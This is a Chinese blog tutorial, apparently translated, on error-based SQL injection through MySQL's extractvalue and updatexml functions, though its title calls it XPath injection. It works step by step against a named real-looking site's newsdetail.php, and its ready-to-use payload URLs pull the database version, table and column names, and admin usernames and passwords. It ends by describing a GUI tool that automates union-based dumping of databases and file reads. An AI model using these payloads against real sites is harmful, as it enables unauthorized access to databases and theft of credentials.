php xpath注入工具,科普:XPATH注入

用这个网站做示例

Default

http://91ri.org/ newsdetail.php?id=51

1

http://91ri.org/ newsdetail.php?id=51

1.查看数据库版本?(ExtractValue)

代码:

Default

+and+extractvalue(rand(),concat(0x7e,version()))--

1

+and+extractvalue(rand(),concat(0x7e,version()))--

这会返回一个XPATH语法错误,会爆出版本号,这个是浏览器的链接:

Default

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--

1

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--

结果如图:

6bd74b9e3e2fab2a0c051ff65f6481e1.png

2.得到表名(ExtractValue)

代码:

Default

+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.​tables+where+table_schema=database()+limit+0,1)))--

1

+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.​tables+where+table_schema=database()+limit+0,1)))--

浏览器的链接:

Default

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+0,1)))--

1

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+0,1)))--

结果如图

7968affc55fddef687e156e8196b17c7.png

XPATH syntax error:’~pdigclicks’我们的表名就是pdigclicks

为了得到admin表或者users表,我们需要不断增加LIMIT函数的第一个参数来猜测。

代码:

Default

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--

1

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from​+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--

这个时候得到XPATH syntax error:’~tbladmin’看来我们想要的表名就是tbladmin

3.得到表的列名(ExtractValue)

第一步,我们要把我们得到的表名转化成字符串的。

‘a’转换成十六进制就是0x61。tbladmin的十六进制表达就是0x74626c61646d696e

现在为了得到列,我们需要改变一点点语法,但是实际上还是那个思想。(因为XPATH其实跟SQL注入很像)

代码:

Default

+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema​.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]

1

+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema​.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]

当然,需要把上面代码的TABLE_HEX替换成你找到的表名。

我的浏览器链接看起来是这样的:

Default

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+fro​m+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--

1

http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+fro​m+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--

返回结果:XPATH syntax error:’~adminid’

40bac5f08b1068ff986214711ed42793.png

现在,为了得到我们知道我们想要的列名,我们需要不断增加LIMIT函数的参数

4.得到列的值(ExtractValue)

现在既然已经得到列的名字,我们将要把它放到concat语句中去

代码:

Default

+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T​ABLENAME+limit+0,1)))--

1

+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T​ABLENAME+limit+0,1)))--

我想要的列名是username和password,0x7e表示的是“~”符号,我用这个“~当作分隔符

我浏览器的链接是这样的:

Default

+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T​ABLENAME+limit+0,1)))--

1

+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T​ABLENAME+limit+0,1)))--

就像你看到的,我们得到了一个用户名和密码

图:

7953573a1f7ba5aface4edd0e3d13690.png

(下面的内容只是把extractvalue函数换成了UpdateXML函数来做同样的事情)

5.得到版本(UpdateXML)

代码:

Default

+and+updatexml(0x7e,concat(0x7e,(version())),0)--

1

+and+updatexml(0x7e,concat(0x7e,(version())),0)--

我的浏览器链接:

Default

91ri.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--We get our XPATH Error that returns the version.

1

91ri.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--WegetourXPATHErrorthatreturnstheversion.

6.得到表名(UpdateXML)

代码:

Default

+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_sch​ema.tables+where+table_schema=database()+limit+0,1))),0)

1

+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_sch​ema.tables+where+table_schema=database()+limit+0,1))),0)

浏览器链接:

Default

http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+​from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--

1

http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+​from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--

7.得到列名(UpdateXML)

代码:

Default

+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_sc​hema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--

1

+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_sc​hema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--

浏览器的链接:

Default

http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)​+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))​),0)--

1

http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)​+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))​),0)--

8.得到列的数据(UpdateXML)

浏览器的链接:

Default

http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7​e,password)+from+tbladmin+limit+0,1))),0)

1

http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7​e,password)+from+tbladmin+limit+0,1))),0)

日币奖励:

本文为原创译文、首发,根据本站积分规则给予日币奖励共4枚。

AD:本站开放投稿及积分(日币),日币可兑换实物奖励,每月top3可获得礼品一份。

[via@evi1]

打开软件,界面如图1,界面很清晰和整洁。 使用的时候,Mysql5 inj point那个框就是你要注射的url。该url应该是有注射漏洞的点。要连union一起,就像默认值那样 http://127.0.0.1/x.php?id=10 and 1=2 union select 1,2,3,4,5 比如第4个数字会在页面上显示,那么你就将数字4替换成“loveuk”,而且最后不要跟注释符(因为程序会在提交的时候默认会自动加上),最终的url如下: http://127.0.0.1/x.php?id=10 and 1=2 union select 1,2,loveuk,4,5 设置好这个点,可以选择注射类型,这里以GET类型为例子做示范。HexEnCode一般不要选上,除非出现编码不匹配的时候才需要,空格默认是用/**/替换的,可以根据具体情况修改。 设置好后点GO,就可以开始注射了,很快数据库里面的所有库就都被列了出来,如图二。下一步操作,选中你要猜解的数据库库名,右击,选择list tables即可。猜解完表名,可以选在你需要的表来猜字段,方法和选择数据库名时一样,右击选择list Fields,如图三、图四。最后一步是读取数据,将你感兴趣的那个字段其面打上钩即可,右击选择read dates就可以得到你想要的数据了!如图五。整个过程中你不必等到每一步都进行完了再进行下一步,如果你感性趣的内容已经出来了,只要单击STOP按钮程序即可停止。 另外,软件还集成了利用注射读文件的功能,如图六,选择readfile,然后在弹出的对话框中数据你要读的文件的绝对路径即可,不过要求有文件权限才可以。 附: 较前一个版本该,版本增加了进度条显示,方便用户使用本软件时,可以清除明了的知道当前数据读取进度;另一个新功能是增加了表的记录数显示功能,可以快捷的查看对应数据库中各各表的记录总数,以便用户操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值